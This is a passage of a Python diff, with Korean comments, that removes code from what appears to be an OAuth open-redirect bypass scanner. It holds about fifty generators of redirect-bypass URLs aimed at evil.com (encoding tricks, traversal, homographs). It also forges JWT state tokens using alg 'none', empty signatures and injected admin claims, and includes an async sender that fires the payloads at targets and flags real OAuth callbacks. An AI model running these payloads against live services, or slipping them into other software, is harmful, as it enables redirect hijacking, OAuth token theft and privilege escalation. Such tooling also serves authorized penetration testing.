backslash bypass: target.com＼@evil.com" - ), - - BypassPayload( - name=r"fullwidth_backslash_encoded", - mutate_func=self._mutate_pattern4_4, - description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" - ), - - BypassPayload( - name=r"mixed_backslash_types", - mutate_func=self._mutate_pattern5, - description=r"Mixed backslash types: target.com\\＼evil.com" - ), - - BypassPayload( - name=r"mixed_backslash_fullwidth_slash", - mutate_func=self._mutate_pattern6, - description=r"Mixed backslash and fullwidth slash: target.com\\／evil.com" - ), - - BypassPayload( - name=r"path_traversal_basic", - mutate_func=self._mutate_pattern7_1, - description=r"Basic path traversal: target.com/path/../../../evil.com" - ), - BypassPayload( - name=r"path_traversal_deep", - mutate_func=self._mutate_pattern7_2, - description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" - ), - BypassPayload( - name=r"path_traversal_absolute", - mutate_func=self._mutate_pattern7_3, - description=r"Absolute path traversal: target.com/../evil.com" - ), - BypassPayload( - name=r"path_traversal_mixed", - mutate_func=self._mutate_pattern7_4, - description=r"Mixed slash traversal: target.com/path/.././.././evil.com" - ), - BypassPayload( - name=r"path_traversal_semicolon", - mutate_func=self._mutate_pattern7_5, - description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" - ), - BypassPayload( - name=r"path_traversal_encoded", - mutate_func=self._mutate_pattern7_6, - description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" - ), - BypassPayload( - name=r"path_traversal_double_encoded", - mutate_func=self._mutate_pattern7_7, - description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" - ), - BypassPayload( - name=r"path_traversal_hex", - mutate_func=self._mutate_pattern7_8, - description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" - ), - BypassPayload( - name=r"path_traversal_unicode", - mutate_func=self._mutate_pattern7_9, - description=r"Unicode dot traversal: target.com/path/．．/．．/evil.com" - ), - BypassPayload( - name=r"path_traversal_backslash", - mutate_func=self._mutate_pattern7_10, - description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" - ), - BypassPayload( - name=r"path_traversal_overlong", - mutate_func=self._mutate_pattern7_11, - description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" - ), - BypassPayload( - name=r"path_traversal_null", - mutate_func=self._mutate_pattern7_12, - description=r"Null byte traversal: target.com/path/../%00../evil.com" - ), - - BypassPayload( - name=r"idn_homograph", - mutate_func=self._mutate_pattern12, - description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)" - ), - - BypassPayload( - name=r"ipv6_bypass", - mutate_func=self._mutate_pattern13, - description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" - ), - - BypassPayload( - name=r"mixed_case_idn_combo", - mutate_func=self._mutate_pattern14, - description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" - ), - - BypassPayload( - name=r"fragment_bypass", - mutate_func=self._mutate_pattern15, - description=r"Fragment identifier bypass: target.com#@evil.com" - ), - - BypassPayload( - name=r"combined_bypass", - mutate_func=self._mutate_pattern16, - description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" - ), - - BypassPayload( - name=r"path_backslash_domain", - mutate_func=self._mutate_pattern17, - description=r"Path backslash domain bypass: target.com\\.evil.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_basic", - mutate_func=self._mutate_pattern18_1, - description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_full", - mutate_func=self._mutate_pattern18_2, - description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_special", - mutate_func=self._mutate_pattern18_3, - description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_double", - mutate_func=self._mutate_pattern18_4, - description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_reverse", - mutate_func=self._mutate_pattern18_5, - description=r"Reverse control chars: evil.com%20%0A%09@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_repeat", - mutate_func=self._mutate_pattern18_6, - description=r"Repeated control chars: evil.com%09%09%09@target.com" - ), - - BypassPayload( - name=r"subdomain_confusion_hyphen", - mutate_func=self._mutate_pattern19, - description=r"Subdomain confusion with hyphen: target-com.evil.com" - ), - - BypassPayload( - name=r"semicolon_userinfo_bypass", - mutate_func=self._mutate_pattern20, - description=r"Semicolon userinfo bypass: target.com;evil.com" - ), - - BypassPayload( - name=r"tab_character_bypass", - mutate_func=self._mutate_pattern21, - description=r"Tab character bypass using %09: evil.com%09@target.com" - ), - - BypassPayload( - name=r"space_character_bypass", - mutate_func=self._mutate_pattern22, - description=r"Space character bypass using %20: evil.com%20@target.com" - ), - - BypassPayload( - name=r"form_feed_bypass", - mutate_func=self._mutate_pattern23, - description=r"Form feed character bypass using %0c: evil.com%0c@target.com" - ), - - BypassPayload( - name=r"vertical_tab_bypass", - mutate_func=self._mutate_pattern24, - description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" - ), - - BypassPayload( - name=r"%0a@", - mutate_func=self._mutate_pattern25, - description=r"Newline character bypass using %0a@: evil.com%0a@target.com" - ), - - BypassPayload( - name=r"%0d@", - mutate_func=self._mutate_pattern26, - description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" - ), - - BypassPayload( - name=r"crlf_injection", - mutate_func=self._mutate_pattern27, - description=r"CRLF injection bypass: evil.com%0D%0A@target.com" - ), - - BypassPayload( - name=r"mixed_case_scheme", - mutate_func=self._mutate_pattern28, - description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" - ), - - BypassPayload( - name=r"scheme_dot_injection", - mutate_func=self._mutate_pattern29, - description=r"Scheme dot injection: https.://evil.com@target.com" - ), - - BypassPayload( - name=r"port_encoded_bypass", - mutate_func=self._mutate_pattern30, - description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" - ), - - BypassPayload( - name=r"ampersand_encoded_bypass", - mutate_func=self._mutate_pattern31, - description=r"Ampersand encoded bypass: target.com &%40evil.com" - ), - - BypassPayload( - name=r"underscore_encoded_bypass", - mutate_func=self._mutate_pattern32, - description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" - ), - - BypassPayload( - name=r"comma_separator_bypass", - mutate_func=self._mutate_pattern33, - description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" - ), - - BypassPayload( - name=r"schemeless_bypass", - mutate_func=self._mutate_pattern34, - description=r"Schemeless bypass: //evil.com" - ), - - BypassPayload( - name=r"schema_colon_bypass", - mutate_func=self._mutate_pattern35, - description=r"Schema colon bypass: http:evil.com" - ), - - BypassPayload( - name=r"null_byte_prefix", - mutate_func=self._mutate_pattern36, - description=r"Null byte prefix: %00http://evil.com" - ), - - BypassPayload( - name=r"unicode_spaces_bypass", - mutate_func=self._mutate_pattern37, - description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" - ), - - BypassPayload( - name=r"bracket_encoded_bypass", - mutate_func=self._mutate_pattern38, - description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" - ), - - BypassPayload( - name=r"protocol_omit_backslash", - mutate_func=self._mutate_pattern39, - description=r"Protocol omit with backslash: \\\\evil.com\\target.com" - ), - - BypassPayload( - name=r"query_internal_bypass", - mutate_func=self._mutate_pattern40, - description=r"Internal query bypass: target.com?url=target.com&redirect=evil.com" - ), - - BypassPayload( - name=r"anchor_at_combo", - mutate_func=self._mutate_pattern41, - description=r"Anchor + @ combo: target.com#evil.com@target.com" - ), - - BypassPayload( - name=r"emoji_domain_bypass", - mutate_func=self._mutate_pattern42, - description=r"Emoji domain bypass: https://😈.evil.com" - ), - - BypassPayload( - name=r"punycode_idn_bypass", - mutate_func=self._mutate_pattern43, - description=r"Punycode IDN bypass: https://xn--e1afmkfd.xn--p1ai" - ), - - BypassPayload( - name=r"backtick_at_combo", - mutate_func=self._mutate_pattern44, - description=r"Backtick @ combo: evil.com`@target.com" - ), - - BypassPayload( - name=r"complex_encoding_mix", - mutate_func=self._mutate_pattern45, - description=r"Complex encoding mix: evil%2Ecom%09%0A%FF@target.com" - ), - - BypassPayload( - name=r"question_backslash_combo", - mutate_func=self._mutate_pattern46, - description=r"Question backslash combo: target.com?\\evil.com" - ), - - BypassPayload( - name="jwt_empty_signature", - mutate_func=self._mutate_pattern48, - description="JWT state parameter empty signature bypass" - ), - - BypassPayload( - name="state_case_insensitive", - mutate_func=self._mutate_pattern50, - description="State parameter case insensitive bypass: State, STATE, state" - ), - - BypassPayload( - name="jwt_header_manipulation", - mutate_func=self._mutate_pattern51, - description="JWT header manipulation bypass (typ, alg changes)" - ), - - BypassPayload( - name="jwt_payload_pollution", - mutate_func=self._mutate_pattern52, - description="JWT payload pollution with malicious claims" - ), - ] - - """ 우회 URL 생성 목록 """ - # 1. @ - def _mutate_pattern1(self, original: str) -> str: - return f"https://evil.com@{original}" - - # 2. %ff@ - 유니코드 바이트 우회 - def _mutate_pattern2(self, original: str) -> str: - return f"https://evil%ff@{original}" - - # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입 - def _mutate_pattern3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - return f"https://evil%ff.{parsed.netloc}{path_part}" - - # 4. 전각 문자 패턴 - ／, %EF%BC%8F, ＼, %EF%BC%BC - # 4_1. 직접 전각 슬래시 - def _mutate_pattern4_1(self, original: str) -> str: - return f"https://{original}／@evil.com" - - # 4_2. URL 인코딩된 전각 슬래시(%EF%BC%8F) - def _mutate_pattern4_2(self, original: str) -> str: - return f"https://{original}%EF%BC%8F@evil.com" - - # 4_3. 직접 전각 백슬래시 - def _mutate_pattern4_3(self, original: str) -> str: - return f"https://{original}＼@evil.com" - - # 4_4. URL 인코딩된 전각 백슬래시(%EF%BC%BC) - def _mutate_pattern4_4(self, original: str) -> str: - return f"https://{original}%EF%BC%BC@evil.com" - - # 5. 백슬래시 + 전각 백슬래시 조합 - def _mutate_pattern5(self, original: str) -> str: - return f"https://{original}\\＼evil.com" - - # 6. 백슬래시 + 전각 슬래시 - def _mutate_pattern6(self, original: str) -> str: - return f"https://{original}\\／evil.com" - - # 7. 경로 순회 - Path traversal bypass - # 7-1. 기본 경로 순회 - def _mutate_pattern7_1(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - return f"https://{parsed.netloc}{base_path}/../../../evil.com" - - # 7-2. 더 많은 경로 순회 - def _mutate_pattern7_2(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - return f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" - - # 7-3. 절대 경로로 우회 - def _mutate_pattern7_3(self, original: str) -> str: - parsed = urlparse(original) - return f"https://{parsed.netloc}/../evil.com" - - # 7-4. 혼합 슬래시 패턴 - def _mutate_pattern7_4(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - return f"https://{parsed.netloc}{base_path}/.././.././evil.com" - - # 7-5. 점 뒤에 추가 문자 - def _mutate_pattern7_5(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - return f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" - - # 7-6. URL 인코딩된 경로 순회 - def _mutate_pattern7_6(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %2e = ., %2f = / - return f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" - - # 7-7. 이중 URL 인코딩 - def _mutate_pattern7_7(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %252e = 이중 인코딩된 . - return f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" - - # 7-8. 16진수 인코딩 - def _mutate_pattern7_8(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # 0x2e2e2f = ../ - return f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" - - # 7-9. 유니코드 정규화 우회 - def _mutate_pattern7_9(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # 유니코드 점 문자들 (U+002E, U+FF0E 등) - return f"https://{parsed.netloc}{base_path}/．．/．．/evil.com" - - # 7-10. 백슬래시 + 경로 순회 조합 - def _mutate_pattern7_10(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - return f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" - - # 7-11. 오버롱 UTF-8 인코딩 - def _mutate_pattern7_11(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %c0%ae = 오버롱 UTF-8로 인코딩된 점 - return f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" - - # 7-12. 널 바이트 삽입 - def _mutate_pattern7_12(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %00 = 널 바이트 - return f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" - - # 8. 와일드카드 서브도메인 우회 - def _mutate_pattern8(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 - return f"https://attacker.{parsed.netloc}{path_part}" - - # 9. 백슬래시 우회 - Dart SDK Issue #50075 - def _mutate_pattern9(self, original: str) -> str: - return f"https://{original}\\evil.com" - - # 10. 이중 슬래시 - def _mutate_pattern10(self, original: str) -> str: - return f"https://{original}//evil.com" - - # 11. 물음표 우회 - def _mutate_pattern11(self, original: str) -> str: - return f"https://{original}?evil.com" - - # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인 - def _mutate_pattern12(self, original: str) -> str: - # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용 - return f"https://еvil.example@{original}" - - # 13. IPv6 주소 우회 - 안전한 버전 - def _mutate_pattern13(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - - # 안전한 IPv6 @ 우회 패턴 - if "localhost" in parsed.netloc: - mutated = f"https://evil.example@[::1]:3000{path_part}" - else: - # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨) - mutated = f"https://evil.example@[2001:db8::1]{path_part}" - - return mutated - - # 14. 대소문자 + IDN 문자 조합으로 필터 우회 - def _mutate_pattern14(self, original: str) -> str: - return f"https://ЕVIL.example@{original}" # Е는 키릴 문자 - - # 15. Fragment identifier 우회 - def _mutate_pattern15(self, original: str) -> str: - # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음 - return f"https://{original}#@evil.com" - - # 16. 복합 우회 패턴 - 여러 기법 동시 적용 - def _mutate_pattern16(self, original: str) -> str: - # @ 우회 + 이중 슬래시 + 경로 순회 조합 - return f"https://evil.com@{original}//../../evil.com" - - # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) - def _mutate_pattern17(self, original: str) -> str: - # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 - return f"https://{original}\\.evil.com" - - # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) - def _mutate_pattern18_1(self, original: str) -> str: - # 탭 + 줄바꿈 + 공백 - return f"https://evil.com%09%0A%20@{original}" - - # 18_2. 모든 제어 문자 조합 - def _mutate_pattern18_2(self, original: str) -> str: - # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 - return f"https://evil.com%0A%0D%09%0B%0C%20@{original}" - - # 18_3. 제어 문자 + 특수 문자 - def _mutate_pattern18_3(self, original: str) -> str: - return f"https://evil.com%09%0A%20%00%FF@{original}" - - # 18_4. 이중 인코딩 + 제어 문자 - def _mutate_pattern18_4(self, original: str) -> str: - return f"https://evil.com%2509%250A%2520@{original}" - - # 18_5. 역순 제어 문자 - def _mutate_pattern18_5(self, original: str) -> str: - return f"https://evil.com%20%0A%09@{original}" - - # 18_6. 반복 제어 문자 - def _mutate_pattern18_6(self, original: str) -> str: - return f"https://evil.com%09%09%09@{original}" - - # 19. 서브도메인 혼동 우회 (하이픈 버전) - def _mutate_pattern19(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # target.com → target-com.evil.com - host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') - return f"https://{host_with_hyphen}.evil.com{path_part}" - - # 20. 세미콜론 userinfo 우회 - def _mutate_pattern20(self, original: str) -> str: - return f"https://{original};evil.com" - - # 21. %09 - 탭 문자 우회 - def _mutate_pattern21(self, original: str) -> str: - return f"https://evil.com%09@{original}" - - # 22. %20 - 공백 문자 우회 - def _mutate_pattern22(self, original: str) -> str: - return f"https://evil.com%20@{original}" - - # 23. %0c - 폼 피드 문자 우회 - def _mutate_pattern23(self, original: str) -> str: - return f"https://evil.com%0c@{original}" - - # 24. %0b - 수직 탭 문자 우회 - def _mutate_pattern24(self, original: str) -> str: - return f"https://evil.com%0b@{original}" - - # 25. %0a@ - 줄바꿈 문자 우회 - def _mutate_pattern25(self, original: str) -> str: - return f"https://evil.com%0a@{original}" - - # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) - def _mutate_pattern26(self, original: str) -> str: - return f"https://evil.com%0d@{original}" - - # 27. CRLF 인젝션 우회 - def _mutate_pattern27(self, original: str) -> str: - # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 - return f"https://evil.com%0D%0A@{original}" - - # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 - def _mutate_pattern28(self, original: str) -> str: - return f"HtTpS://evil.com@{original}" - - # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) - def _mutate_pattern29(self, original: str) -> str: - return f"https.://evil.com@{original}" - - # 30. 포트 인코딩 우회 - %40 = @ - def _mutate_pattern30(self, original: str) -> str: - return f"https://{original}:%40evil.com" - - # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 - def _mutate_pattern31(self, original: str) -> str: - return f"https://{original} &%40evil.com" - - # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 - def _mutate_pattern32(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - return f"https://{parsed.netloc}.%5F.evil.com{path_part}" - - # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 - def _mutate_pattern33(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - return f"https://{parsed.netloc}.%2C.evil.com{path_part}" - - # 34. 스키마 없는 우회 - def _mutate_pattern34(self, original: str) -> str: - return f"//evil.com/{original}" - - # 35. 스키마 콜론 우회 - RFC 위반 파싱 - def _mutate_pattern35(self, original: str) -> str: - return f"http:evil.com/{original}" - - # 36. 널 바이트 prefix - 파싱 혼동 - def _mutate_pattern36(self, original: str) -> str: - return f"%00https://evil.com/{original}" - - # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space - def _mutate_pattern37(self, original: str) -> str: - return f"https://evil.com%E2%80%8B@{original}" - - # 38. 대괄호 인코딩 우회 - def _mutate_pattern38(self, original: str) -> str: - return f"https://{original}%5B%40evil.com" - - # 39. 프로토콜 생략 + 백슬래시 - def _mutate_pattern39(self, original: str) -> str: - parsed = urlparse(original) - return f"\\\\evil.com\\{parsed.netloc}" - - # 40. 쿼리 파라미터 내부 우회 - def _mutate_pattern40(self, original: str) -> str: - parsed = urlparse(original) - return f"https://{parsed.netloc}?url={parsed.netloc}&redirect=evil.com" - - # 41. 앵커 태그 + @ 조합 - def _mutate_pattern41(self, original: str) -> str: - parsed = urlparse(original) - return f"https://{parsed.netloc}#evil.com@{parsed.netloc}" - - # 42. 이모티콘 도메인 - def _mutate_pattern42(self, original: str) -> str: - return f"https://😈.evil.com" - - # 43. Punycode IDN 우회 (러시아어 evil.ru) - def _mutate_pattern43(self, original: str) -> str: - return f"https://xn--e1afmkfd.xn--p1ai" # evil в 러시아어 - - # 44. 백틱 + @ 조합 - def _mutate_pattern44(self, original: str) -> str: - return f"https://evil.com`@{original}" - - # 45. 복잡한 인코딩 혼합 - def _mutate_pattern45(self, original: str) -> str: - return f"https://evil%2Ecom%09%0A%FF@{original}" - - # 46. 물음표 + 백슬래시 조합 - def _mutate_pattern46(self, original: str) -> str: - return f"https://{original}?\\evil.com" - - # 47. JWT 'none' 알고리즘 우회 - def _mutate_pattern47(self, original: str) -> str: - import base64 - import json - - # 'none' 알고리즘으로 서명 없는 JWT 생성 - header = {"alg": "none", "typ": "JWT"} - payload = { - "redirect": "https://evil.com", - "iss": "evil.com", - "aud": "client_app", - "exp": 9999999999 - } - - header_b64 = base64.urlsafe_b64encode( - json.dumps(header, separators=(',', ':')).encode() - ).decode().rstrip('=') - - payload_b64 = base64.urlsafe_b64encode( - json.dumps(payload, separators=(',', ':')).encode() - ).decode().rstrip('=') - - # 서명 부분을 빈 문자열로 (none 알고리즘) - malicious_jwt = f"{header_b64}.{payload_b64}." - - parsed = urlparse(original) - return f"https://{parsed.netloc}{parsed.path}?state={malicious_jwt}&redirect_uri=https://evil.com" - - # 48. JWT 빈 서명 우회 - def _mutate_pattern48(self, original: str) -> str: - import base64 - import json - - # 정상적인 헤더이지만 서명은 빈 값 - header = {"alg": "HS256", "typ": "JWT"} - payload = {"redirect": "https://evil.com"} - - header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') - payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') - - # 서명 부분만 비우기 - malicious_jwt = f"{header_b64}.{payload_b64}." - - parsed = urlparse(original) - return f"https://{parsed.netloc}{parsed.path}?state={malicious_jwt}&redirect_uri=https://evil.com" - - # 49. State 파라미터 오염 공격 - def _mutate_pattern49(self, original: str) -> str: - parsed = urlparse(original) - query = parse_qs(parsed.query) - - # 원본 쿼리 파라미터 유지하면서 state 여러 개 추가 - evil_params = [] - for key, values in query.items(): - for value in values: - evil_params.append(f"{key}={value}") - - # 여러 state 파라미터 추가 (파서 혼동 유발) - evil_params.extend([ - "state=legitimate_state", - "state=https://evil.com", - "State=https://evil.com", # 대문자 - "STATE=https://evil.com", # 모두 대문자 - "redirect_uri=https://evil.com" - ]) - - evil_query = "&".join(evil_params) - return f"https://{parsed.netloc}{parsed.path}?{evil_query}" - - def _mutate_pattern50(self, original: str) -> str: - """50. State 파라미터 대소문자 변형""" - parsed = urlparse(original) - base_url = f"https://{parsed.netloc}{parsed.path}" - - # 대소문자 조합으로 파서 혼동 - return f"{base_url}?state=normal&State=https://evil.com&STATE=backup&redirect_uri=https://evil.com" - - # 51. JWT 헤더 조작 우회 - def _mutate_pattern51(self, original: str) -> str: - import base64 - import json - - # 헤더에 이상한 값들 넣어보기 - malicious_headers = [ - {"alg": "none", "typ": "JWT", "kid": "../../../evil.com"}, - {"alg": "HS256", "typ": "JWS"}, # typ 변경 - {"alg": "RS256", "typ": "JWT", "x5u": "https://evil.com/cert"}, # 외부 인증서 - ] - - results = [] - for header in malicious_headers: - payload = {"redirect": "https://evil.com"} - - header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') - payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') - - jwt_token = f"{header_b64}.{payload_b64}.fake_signature" - results.append(jwt_token) - - # 첫 번째 조작된 JWT 사용 - parsed = urlparse(original) - return f"https://{parsed.netloc}{parsed.path}?state={results[0]}&redirect_uri=https://evil.com" - - # 52. JWT 페이로드 오염 공격 - def _mutate_pattern52(self, original: str) -> str: - import base64 - import json - - # 페이로드에 다양한 클레임 주입 - malicious_payload = { - "iss": "https://evil.com", # 발급자 변조 - "aud": "evil_client", # 대상 변조 - "redirect": "https://evil.com", # 직접적인 리다이렉트 - "redirect_uri": "https://evil.com", # OAuth 파라미터 - "url": "https://evil.com", # 일반적인 URL 파라미터 - "callback": "https://evil.com", # 콜백 URL - "return_to": "https://evil.com", # 리턴 URL - "admin": True, # 권한 상승 시도 - "role": "admin" # 역할 변조 - } - - header = {"alg": "HS256", "typ": "JWT"} - - header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') - payload_b64 = base64.urlsafe_b64encode(json.dumps(malicious_payload).encode()).decode().rstrip('=') - - jwt_token = f"{header_b64}.{payload_b64}.evil_signature" - - parsed = urlparse(original) - return f"https://{parsed.netloc}{parsed.path}?state={jwt_token}&redirect_uri=https://evil.com" - - '''aiohttp 세션 생성 (재사용)''' - async def _get_session(self): - if self.session is None: - timeout = aiohttp.ClientTimeout(total=10) - self.session = aiohttp.ClientSession(timeout=timeout) - return self.session - - '''세션 정리''' - async def close_session(self): - if self.session: - await self.session.close() - self.session = None - - """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ - async def _send_request(self, url, headers=None, record_to_limiter=True): - try: - session = await self._get_session() # 세션 준비 - request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 - - # 서버에 GET 요청 전송 (allow_redirects=False로 리다이렉트 추적) - async with session.get(url, allow_redirects=False, headers=request_headers) as response: - result = { - 'status': response.status, - 'location': response.headers.get("Location", ""), - 'headers': dict(response.headers) - } - - # 성공/실패 기록 (rate limiter용) - if record_to_limiter: - if response.status in [200, 301, 302, 303, 307, 308]: - redirect_limiter.record_success() - else: - redirect_limiter.record_failure(f"HTTP {response.status}") - - return result - - except Exception as e: - redirect_limiter.record_failure(str(e)) - print(f"[ERROR] 요청 실패 ({url}): {e}") - return {'status': 500, 'location': '', 'headers': {}} - - def _track_redirect_uri_from_authorization(self, url, parsed, query): - """Authorization 요청에서 redirect_uri 추적""" - - # 메이저 OAuth 제공자에서만 추적 - major_oauth_providers = [ - "accounts.google.com", "oauth2.googleapis.com", - "www.facebook.com", "facebook.com", "graph.facebook.com", - "github.com", "api.github.com", - "login.microsoftonline.com", "login.live.com", - "login.microsoft.com", "account.microsoft.com", - "appleid.apple.com", "accounts.apple.com", - "login.yahoo.com", "accounts.twitter.com", "api.twitter.com", - "linkedin.com", "www.linkedin.com" - ] - - # 메이저 OAuth 제공자가 아니면 추적하지 않음 - if not any(provider in parsed.netloc for provider in major_oauth_providers): - return False - - if 'redirect_uri' in query: - redirect_uri = unquote(query['redirect_uri'][0]) - - # 글로벌 저장소에 추가 - GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris'].add(redirect_uri) - - print(f"[REDIRECT_TRACKING] 📝 redirect_uri 추적: {redirect_uri}") - - # 정기적인 정리 - self._cleanup_old_tracking_data() - - return True - - def _is_tracked_oauth_callback(self, url, parsed, query): - """추적된 redirect_uri와 현재 요청이 매칭되는지 확인""" - - current_base_url = f"https://{parsed.netloc}{parsed.path}" - - if not GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: - return False - - for tracked_uri in GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: - if current_base_url == tracked_uri: - return True - - return False - - def _is_client_redirect_request(self, url, parsed, query): - """OAuth 콜백 감지 - OAuth 로그인 완료 후 돌아온 페이지인가 확인""" - - # B2B/내부 시스템 도메인 제외 - internal_domains = [ - 'zendesk.com', - 'salesforce.com', - 'servicenow.com', - 'atlassian.com', - ] - - if any(domain in parsed.netloc.lower() for domain in internal_domains): - return False - - # OAuth 제공자 제외 - oauth_provider_domains = [ - # Google - "accounts.google.com", "oauth2.googleapis.com", - # Facebook/Meta - "www.facebook.com", "facebook.com", "graph.facebook.com", - # Microsoft - "login.live.com", "login.microsoftonline.com", "account.live.com", - "login.windows.net", "login.microsoft.com", - # GitHub - "github.com", "api.github.com", - # Apple - "appleid.apple.com", "accounts.apple.com", - # Others - "login.yahoo.com", "accounts.twitter.com", "api.twitter.com", - "linkedin.com", "www.linkedin.com", - "kauth.kakao.com", "accounts.kakao.com", - # 추가 제외할 제공자들 - "auth0.com", "okta.com", "onelogin.com" - ] - - if any(provider in parsed.netloc for provider in oauth_provider_domains): - return False - - # 0. 추적된 redirect_uri 매칭 - if self._is_tracked_oauth_callback(url, parsed, query): - # OAuth 응답 파라미터도 확인 - oauth_response_params = ['code', 'access_token', 'id_token', 'state', 'error'] - has_oauth_response = any(param in query for param in oauth_response_params) - - if has_oauth_response: - print(f"[TRACKED_OAUTH] 🎯 추적된 OAuth 콜백 감지: {parsed.netloc}") - return True - - # 1. URL 경로로 OAuth 콜백인지 확인 - 기존 OAuth 콜백 패턴 - oauth_callback_patterns = [ - '/oauth/callback', '/auth/callback', '/login/callback', - '/oauth/redirect', '/auth/return', '/sso/callback', - '/signup', '/register', - '/api/auth/v3/social/callback', '/social/callback', '/auth/social/callback', - '/access/return_to', '/access/', '/return', - ] - - path = parsed.path.lower() - is_oauth_callback = any(pattern in path for pattern in oauth_callback_patterns) - - # 2. OAuth 응답 파라미터 확인 - URL에 아래 정보 있는지 확인 - oauth_response_params = [ - 'code', 'access_token', 'id_token', 'state', 'error', - 'from' # from=fb, from=google 등 - ] - - has_oauth_response = any(param in query for param in oauth_response_params) - - # 3. 소셜 로그인 패턴 감지 - 어디서 로그인했는지 확인 - def has_social_login_pattern(query_string): - import re - - # 패턴 1: 간단한 소셜 식별자 - simple_patterns = [ - 'from=fb', 'from=facebook', 'from=google', 'from=github', - 'provider=google', 'provider=facebook', - 'callback/google', 'callback/github', 'callback/facebook' # ← 